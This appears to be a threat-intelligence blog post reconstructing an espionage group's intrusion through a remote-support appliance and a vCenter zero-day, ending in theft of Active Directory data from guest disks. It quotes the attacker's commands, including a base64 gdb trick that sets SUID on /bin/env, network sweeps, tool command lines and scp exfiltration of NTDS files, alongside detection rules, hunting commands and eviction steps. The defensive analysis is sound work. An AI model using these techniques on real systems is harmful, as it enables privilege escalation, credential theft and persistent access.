At the end of this intrusion, a China-nexus espionage group held a copy of the victim’s Active Directory database, along with the SYSTEM and SECURITY hives needed to decrypt it. They never ran a process on a Windows host, never authenticated to a domain controller, and never set off an EDR alert. They opened the DC’s virtual disk on the hypervisor’s datastore and copied the files.

That is the most important lesson in Google Threat Intelligence Group’s November 19 report on ARMORY CASTLE (formerly UNC5221) and the vCenter zero-day CVE-2026-123890. The news post covers the patch. This piece reconstructs the kill chain step by step and argues one thing: vCenter is a domain controller with a hypervisor attached, and most shops defend it like a printer. It runs no EDR, its logs go nowhere, it accepts connections from the whole server VLAN, and it holds keys that open every guest you run, your DCs included.

Sourcing: the sequence and indicators below come from GTIG’s “ARMORY CASTLE Exploits vSphere” post and its October report on the BeyondTrust intrusion, cross-checked against secondary coverage. Secondary sources disagree on a few points, such as whether BONESAW is confirmed against 8.x or only 7.x. Where they disagree, I say so. Where I go beyond what GTIG states, I label it as my inference.

The short version

StageWhat happenedDefender control that should have caught it
Initial accessCVE-2026-102764 in BeyondTrust Remote Support (zero-day, ~late Aug)Edge-appliance isolation, egress filtering
FootholdJSP webshells on an internal Linux appliance with no EDRFile-integrity monitoring, web logs to SIEM
Privescgdb attaches to a root process and sets SUID on /bin/envProcess telemetry on appliances
Reconnmap from the appliance for 443/2012/389/5480/9080Internal NetFlow and port-scan detection
vCenter compromiseBONESAW exploits CVE-2026-123890 on TCP 2012, steals data.mdb and the STS signing key, creates an SSO adminFirewall 2012 to vCenter peers only, SSO admin-change alerts
Golden SAMLSAWSNAKE forges Administrator assertions, bypassing MFASTS logins with no matching IdP event
vCenter shellVAMI API enables SSH, attacker logs in, steals symkey and DB password, disables SSHVAMI API audit, the SSH enable/disable pattern
ESXiLogs in as vpxuser, root SSH, adds authorized_keys, uses hidden .a staging directoryESXi syslog forwarding, lockdown mode
Collectionvmfs_browser.py pulls NTDS, SYSTEM, SECURITY from guest VMDKsEssentially none at the guest layer
PersistenceBEARBONES (backdoored Dropbear), LAZYBONES (Slack C2)Egress to slack.com from servers

Each row is a separate opportunity to catch the attacker. Most organizations had none of them in place.

Stage 0: the door was a remote-support appliance

ARMORY CASTLE got in through CVE-2026-102764, an origin-validation flaw in BeyondTrust Remote Support that it exploited as a zero-day starting around the end of August. We covered that campaign and its SUID-shell persistence in Patching Is Not Eviction. The vSphere report is what came next.

The lesson here is not about any one vendor. Remote-support and RMM appliances sit in the DMZ but need to reach deep into the internal network, because that is their job. A compromised one gives the attacker a privileged position inside your network, and the traffic from it already looks routine. We made this argument last week. This intrusion is the worked example. GTIG also notes that the staged archives were pulled back to the Remote Support appliance over HTTP for exfiltration. The appliance served as both the way in and the way out.

Stage 1: Linux appliances are the attacker’s preferred host

The actor did not go for a Windows server next. It moved to an internal Linux appliance, a commercial box with a Tomcat/JSP stack, and dropped two small webshells:

  • SLIMSAVAGE (ActiveSer.jsp): command execution via ProcessBuilder("/bin/sh","-c", ...), gated on pwd=123, returning output with \nEXIT:<code> appended.
  • CAGEMATCH (u.jsp), dropped about four hours later: a multipart upload handler that writes to /tmp/<filename> and returns the path.

Then it escalated to root with a trick worth memorizing, because it is quiet and works on any appliance that ships gdb and leaves ptrace enabled:

1
2
/bin/sh -c echo IWNobW9kIHUrcyAvYmluL2VudgpxCg==|base64 -d > /tmp/gdb_file
/usr/bin/gdb -pid 113757 --command=/tmp/gdb_file

The base64 decodes to !chmod u+s /bin/env followed by q. gdb attaches to a process running as root and runs a shell escape from inside it, so the chmod runs as root. From then on, /bin/env <anything> gives a root shell. GTIG saw the same technique on the BeyondTrust appliance, so treat it as this actor’s signature.

Why the attacker likes appliances: no EDR agent, local logs that rotate quickly, a full userland (Python, gdb, curl, sometimes nmap), and the network access an appliance needs to do its job. To your SOC, a Linux appliance is a black box. To an operator, it is a free Linux server with no monitoring.

Detection that works today on any Linux host where you collect auditd or eBPF process events:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
title: Debugger attach used to set SUID bit (ARMORY CASTLE pattern)
logsource: { product: linux, category: process_creation }
detection:
  gdb_cmdfile:
    Image|endswith: '/gdb'
    CommandLine|contains|all: ['-pid', '--command=']
  b64_to_tmp:
    CommandLine|contains|all: ['base64 -d', '> /tmp/']
  suid_env:
    CommandLine|contains: 'chmod u+s /bin/'
  condition: 1 of them
level: high

And the one-liner to run on every appliance you can get a shell on:

1
find / -xdev -perm -4000 -type f 2>/dev/null | xargs ls -l | grep -E '/(env|sh|bash|dash|python[0-9.]*|perl)$'

/bin/env should never have the SUID bit. If it does on any of your hosts, you have found an attacker, not a misconfiguration.

Stage 2: recon tells you what they wanted

The nmap commands GTIG recovered show exactly what the attacker was after:

1
2
3
4
nmap -sS -p 443,2012,389 --open <net>.0/24
nmap -sS -p 443,2012,5480 --open <net>.0/24
nmap -sS -p 443,9080 --open <net>.0/24
nmap -sS -p 9080,2012 --open <net>.0/24

Port 2012 is the vmdird DCE/RPC control interface. 389 is vmdir LDAP, 5480 is VAMI (the appliance management UI), and 9080 is another VMware service port. Sweeping a /24 for 2012 is how you find vCenter appliances, and no legitimate system in your environment does it. An internal SYN scan for 2012 from anything other than a vCenter peer is a high-fidelity alert. If you run Zeek, Corelight, or VPC flow logs, write that rule now:

1
2
3
4
# Zeek / flow pseudo-rule
alert when: src not in VCENTER_PEERS
            and dst_port == 2012
            and count(distinct dst_ip) > 3 within 10m

Stage 3: the zero-day, and why patching in July didn’t help

According to GTIG, CVE-2026-123890 is an unauthenticated SRP-6a session-key disclosure over DCE/RPC, reached through the vmdir rpc_srp_verifier interface on TCP 2012. The root cause is predictable UUIDv1 timestamp generation in the SRP flow, which lets the attacker recover the shared session key K without knowing a password. The result is an authenticated RPC session as [email protected].

Compare that with July’s CVE-2026-59309, the previous vmdir authentication bypass. That bug was in the LDAP path on 389/636 and involved malformed authorization tokens. Different protocol, different port, different code, same daemon. GTIG saw BONESAW succeed against a vCenter already patched for 59309. The BONESAW binary carries a build timestamp of 2026-07-13T09:21:24Z, two weeks before 59309 was disclosed. Build metadata can be forged, but if it is accurate, ARMORY CASTLE had a working vmdir exploit before Broadcom shipped the first fix, and simply kept using the second bug after the first was patched.

My position: when a daemon produces two pre-auth bypasses in four months, you should stop asking whether it is patched and start asking who can reach it. vmdird is an identity store that speaks LDAP and a custom RPC protocol. The only systems that should talk to it on 2012 and 389/636 are other vCenter nodes in the same SSO domain (with Enhanced Linked Mode) and your PAW subnet. Broadcom says the bug is exploitable with or without ELM, so turning off federation would not have helped. Network reachability is the control that would have.

What BONESAW actually does

BONESAW is a Go binary (built as vcenter-db-teamcheck-go, with build path E:/CodeFiles/VulnScan/Vcenter/go_teamcheck/), staged as /tmp/123 from 123.rar. Its main subcommand is csa, “Create SSO admin with minimal parameters”:

1
2
/tmp/123 csa -h <vcenter> -u <new_admin> -p <password> \
         [-lu [email protected]] [-d vsphere.local] [-auto-d] [-check-version]

In one run, it:

  1. exploits the SRP flaw to get an [email protected] RPC session;
  2. streams /storage/db/vmware-vmdir/data.mdb (the LMDB directory database) out through the vmdirdbcp RPC interface;
  3. parses the tenant credentials and writes the STS signing key, leaf certificate, and chain to extracted_tenant_signer_<host>/<tenant>-tenantcredential-<N>.key.pem and related files;
  4. creates a new SSO administrator, forges a SAML assertion, and grants Global Administrator on the root folder through the vSphere SOAP API.

Step 2 is the real damage. data.mdb is the entire SSO domain: users, groups, machine accounts, password verifiers, and the private key that signs every vSphere SAML token. Once it leaves the appliance, patching does nothing to undo it.

Stage 4: Golden SAML, the vSphere version

SAWSNAKE (/tmp/sss) is a Go port of Horizon3’s public vcenter_saml_login.py. It takes the IdP key and trusted cert extracted from data.mdb, signs an assertion for Administrator, and submits it to https://<vcenter>/ui/saml/websso/sso to get a vSphere Client session cookie. The actor ran it once and deleted it.

That is a Golden SAML attack, the same class as the ADFS token-signing attacks from the SolarWinds era, moved into the hypervisor’s identity provider. The consequences are the same:

  • MFA doesn’t apply. Your Okta or Entra federation to vCenter is never consulted, because the attacker presents an assertion vCenter already trusts.
  • Password resets don’t apply. Change [email protected] and the forged token still works, because it was never based on the password.
  • Deleting the rogue account doesn’t apply. The attacker can sign an assertion for any principal.
  • Only rotating the STS signing certificate fixes it.

If you find any sign of BONESAW, SAWSNAKE, or an unexplained SSO admin, rotate the signing certificate first. Do it before anything else, including resetting passwords. In the vSphere Client it is under Administration → Certificates → Certificate Management → STS Signing Certificate. Then restart services so every existing session token is invalidated. If you use an external IdP (Entra ID or ADFS) federated to vCenter, that IdP’s signing material is a separate concern. The internal STS key is still the one stolen here, and vCenter still trusts it.

Stage 5: VAMI, SSH, and the key to every host

With the vSphere Client as Administrator, the actor:

  1. created a local admin sps-<REDACTED>@vsphere.local. The sps prefix mimics the built-in Storage Policy Service solution user, so it blends in on a quick review;
  2. enabled SSH on the appliance with PUT /rest/appliance/access/ssh, the same move Mandiant documented in UNC6201’s BRICKSTORM intrusions;
  3. logged in over SSH and stole the vCenter master symmetric key file and the PostgreSQL password file;
  4. disabled SSH again right away.

The enable/use/disable sequence is deliberate anti-forensics. A config audit run the next morning shows SSH disabled, as it should be. Only a log of the API call reveals the window. In the VAMI and applmgmt logs (/var/log/vmware/applmgmt/) on the appliance, and in whatever you forward to your SIEM, look for:

1
2
3
PUT /rest/appliance/access/ssh   {"enabled": true}
  ...followed within minutes by sshd Accepted ... from <non-PAW IP>
  ...followed by PUT /rest/appliance/access/ssh {"enabled": false}

Here is why step 3 matters (this is my inference; GTIG reports the theft but does not spell out the consequence). vCenter stores the password of the vpxuser account on every managed ESXi host in its Postgres database (VCDB), encrypted with that symmetric key (symkey.dat under /etc/vmware-vpx/ssl/). Database credentials plus the symkey let an attacker decrypt the vpxuser password for every host vCenter manages. GTIG’s next observation fits this exactly: the actor authenticated to the ESXi Host Client as vpxuser, not as root.

So the symkey file is the master key to your entire ESXi fleet. vpxuser passwords rotate on a 30-day default (VirtualCenter.VimPasswordExpirationInDays). For incident response, that means a stolen symkey gives access for up to a month even if you do nothing, and indefinitely if the attacker sets up their own access in the meantime. This attacker did.

Stage 6: the hypervisor turns your DC into a file

On ESXi, the actor switched to root SSH, added a public key to root’s authorized_keys (/etc/ssh/keys-root/authorized_keys on ESXi), and used WinSCP to browse datastores. Then:

1
2
3
4
5
6
7
scp -r -d -t "/vmfs/volumes/<volume>/.a"        # stage hidden toolkit dir
tar xzf vmfs-pydist.tar.gz                      # portable Python + VMFS/NTFS parser
python vmfs_browser.py <guest>.vmdk ...         # read files out of the guest disk
#  -> Windows/NTDS, Windows/System32/config/SYSTEM,
#     Windows/System32/config/SECURITY, Windows/System32/dns
tar czf o.tar.gz ... ; scp -r -p -d -f "o.tar.gz"
rm -rf /vmfs/volumes/<volume>/.a

That is the whole AD credential theft. NTDS.dit plus SYSTEM (for the boot key) is all an attacker needs for offline secretsdump: every NT hash, krbtgt, and the trust keys. Reading the VMDK directly avoids every control you have built around the DC: no VSS shadow copy, no ntdsutil, no DCSync replication traffic for your MDI sensor to flag, no LSASS access for EDR to block. To the guest, nothing happened.

This is the core argument of the piece. Every VM whose disk vCenter can reach has the same tier as vCenter, and vCenter has the same tier as whatever can reach port 2012. If your domain controllers run on the general-purpose vSphere cluster, your AD tier-0 boundary is the vCenter firewall. Most AD tiering models silently assume the hypervisor is trustworthy. This intrusion shows what happens when it isn’t.

Stage 7: persistence that survives the patch

ARMORY CASTLE left several independent ways back in, as it usually does:

  • BEARBONES (/tmp/dbr): a backdoored Dropbear SSH server. It accepts a hardcoded password hash and ignores /etc/shadow, logs the plaintext credentials of every legitimate login, loads host keys from /tmp/{rsa,ecdsa,dss}_host_key, and announces itself as SSH-2.0-pulsesecure_23345. It ran as /tmp/dbr -R -p 53, then on -p 33992. A listener on port 53 is chosen to pass egress and ingress ACLs that allow DNS.
  • LAZYBONES (/usr/bin/vmtoolscs): a Go backdoor using Slack for C2 over HTTPS, with AES-256-CTR, 150 to 450 second jitter, and cmd/upload/download/sleep commands. It runs as a systemd service that restarts every 50 minutes. The name is chosen to look like VMware Tools. LAZYBONES first appeared in early 2025 after Ivanti CVE-2025-22457, which links this campaign to the same operator.
  • Identity persistence: the BONESAW-created SSO admin, sps-*@vsphere.local, a machine account created through vmdir, the stolen STS key, and the stolen symkey.
  • Host persistence: root authorized_keys on ESXi.

Patching vCenter removes none of these. Removing the SSO admin removes one. Reimaging the Linux appliance removes two. Only a coordinated eviction covers all of them, and it has to happen in the right order.

Hunting: a checklist you can run Monday

Run these regardless of patch status. The exploitation window began in early September, and July’s patch didn’t block it.

vCenter (appliance shell):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# Unexpected SSO principals: compare against your known-good list
/usr/lib/vmware-vmafd/bin/dir-cli group list --name Administrators
# Look specifically for sps-* lookalikes and recently created accounts in the vSphere Client:
#   Administration > Single Sign On > Users and Groups (sort by created)

# VAMI SSH toggles
grep -R '/rest/appliance/access/ssh' /var/log/vmware/applmgmt/ 2>/dev/null

# Toolkit residue and LAZYBONES
ls -la /tmp/123* /tmp/sss /tmp/dbr /tmp/*_host_key /tmp/gdb_file /usr/bin/vmtoolscs 2>/dev/null
systemctl cat vmtoolscs.service 2>/dev/null; grep -rl vmtoolscs /etc/systemd /lib/systemd 2>/dev/null
ss -lntp | grep -E ':(53|33992)\b'

ESXi (every host):

1
2
3
4
cat /etc/ssh/keys-root/authorized_keys          # should be empty in most estates
ls -la /vmfs/volumes/*/ | grep -E ' \.[^.]'     # hidden dirs like .a at datastore root
grep -E 'vpxuser|Accepted' /var/log/auth.log
grep -E 'scp -r -d -t|vmfs_browser|tar xzf' /var/log/shell.log

Network and SIEM:

  • TCP 2012 or 389/636 to vCenter from anything outside the vCenter peers and PAW subnet.
  • Server-subnet egress to slack.com/api/conversations.history, files.getUploadURLExternal, files.completeUploadExternal. No appliance has a reason to use the Slack API.
  • SSH banners matching SSH-2.0-pulsesecure_ on any port. Run nmap -sV against your appliance ranges; a “Pulse Secure” banner on a non-Pulse box is the backdoor.
  • vSphere Client SAML logins as Administrator with no matching authentication event at your upstream IdP. That gap is how Golden SAML shows up.
  • GTIG’s published network indicators, which they describe as a suspected obfuscation (ORB-style) network, so expect them to change: 103.147.251.5, 103.190.38.3, 118.174.128.34, 118.174.128.36, 118.174.128.38, 176.9.89.66, 185.71.15.109, 220.121.128.41, 222.108.77.44, 61.216.56.127, 81.45.89.43.

GTIG has also published YARA hunting rules (G_Hunting_Utility_BONESAW_2, G_Hunting_Utility_SAWSNAKE_2, G_Hunting_Backdoor_BEARBONES_1, G_Hunting_Backdoor_LAZYBONES_1, and webshell rules for SLIMSAVAGE and CAGEMATCH). The BONESAW rule keys on the SRP prime starting AC6BDB41324A9A9B…, the data.mdb path, and the UUIDs 72c780fe-af6b-42ba-9b02-f61f4ccc98ed and c7e94609-6ab0-4767-8e92-b6485bff1649. Take the rules from the GTIG post rather than retyping them.

Eviction order matters

If you find this actor, the order of operations decides whether you evict them or just alert them. My recommended sequence:

  1. Cut egress first. Block appliance and server-subnet outbound access to Slack and the GTIG IPs, and block inbound to 53/33992 on appliances. Do this quietly, before any visible action.
  2. Rebuild the Linux foothold appliances from vendor media. Don’t clean them. Webshells, SUID env, and LAZYBONES all live there.
  3. Patch vCenter to 8.0 U3m / 9.0.2.0200 / 9.1.1.0200. vCenter 7.0 has no public fix, so get a Broadcom extended-support patch or isolate the appliance.
  4. Rotate the STS signing certificate, then restart services. This kills Golden SAML.
  5. Rotate the vCenter symmetric key, then force vpxuser rotation on every host. Treat the symkey as burned, along with every secret vCenter stores: VCDB password, solution-user certificates, and any service-account credentials kept in vCenter.
  6. Remove the identity persistence: the BONESAW admin, sps-* accounts, and any machine accounts you can’t explain. Reset [email protected].
  7. On every ESXi host: clear root authorized_keys, remove hidden datastore directories, rotate root passwords, and enable lockdown mode.
  8. Treat Active Directory as fully compromised. If any DC’s VMDK was readable, assume NTDS left the building: reset krbtgt twice (with replication time between resets), then every privileged account and every service account, then trust keys. This is the expensive step, and it is not optional.

If you do step 6 before step 4, the attacker mints a new admin with the key they already have. If you do step 4 before step 1, LAZYBONES reports that you have noticed them.

Hardening: make the next BONESAW boring

  • Firewall vCenter at the appliance, not just at the VLAN. Mandiant’s VCSA hardening tool writes iptables rules directly, bypassing VAMI’s coarse firewall (which can’t do per-port rules and doesn’t log drops). Default-deny inbound. Allow 443 and 5480 from PAWs only, 2012 and 389/636 from vCenter peers only, and 22 from nowhere unless you are actively in a change window.
  • Default-deny egress from vCenter, ESXi, and every appliance. That single control would have blocked SCP exfiltration and Slack C2 in this intrusion.
  • Forward syslog from vCenter and ESXi (including shell.log and auth.log), plus the applmgmt/VAMI audit logs. The actor deleted the .a directory and turned SSH back off. Neither cleanup touches logs that have already been forwarded.
  • Enable ESXi lockdown mode (normal at minimum) and turn on the execInstalledOnly boot and runtime setting. With it on, the attacker’s portable Python under /vmfs/volumes/*/.a would not run.
  • Move tier-0 VMs off the shared cluster. Run domain controllers, PKI, and the PAM vault on a dedicated management cluster with its own vCenter (or standalone hosts), its own SSO domain, and no ELM link to the general-purpose estate. If that is too expensive, at least enable vSphere VM Encryption or vTPM-backed BitLocker on the DC guests, so that disk access from the datastore gets ciphertext rather than NTDS. Neither protects against an attacker who also holds the KMS credentials, but it makes the job much harder than copying a file.
  • Put a process sensor on your Linux appliances, even if it is only auditd forwarding execve. The gdb-SUID trick, base64-to-/tmp, and nmap from an appliance are all easy to detect, but only if something records them.

Takeaways

  • The exploited bug class is “vmdird is reachable,” not just CVE-2026-123890. Two pre-auth bypasses in four months on 389/636 and then 2012. Restrict both to vCenter peers and PAWs today, whatever your patch status.
  • July’s patch did not protect you. Hunt back to early September at minimum, or further if you take the July 13 build timestamp at face value.
  • Golden SAML means rotate the STS key before anything else. Password resets and account deletions do nothing until you do.
  • A stolen symkey compromises every ESXi host. Treat vpxuser on every host as compromised and force rotation.
  • Your AD tier-0 boundary is your hypervisor’s firewall. If DC disks are readable from a datastore an attacker can reach, NTDS is gone. Reset krbtgt twice and plan the rest of the AD recovery.
  • Linux appliances with no EDR are where this actor operates. Inventory them, collect process logs from them, and block their egress. This group has now run the same appliance-first playbook through Ivanti, BeyondTrust, and vCenter. The next zero-day will be different. The appliance-first playbook will probably be the same.

References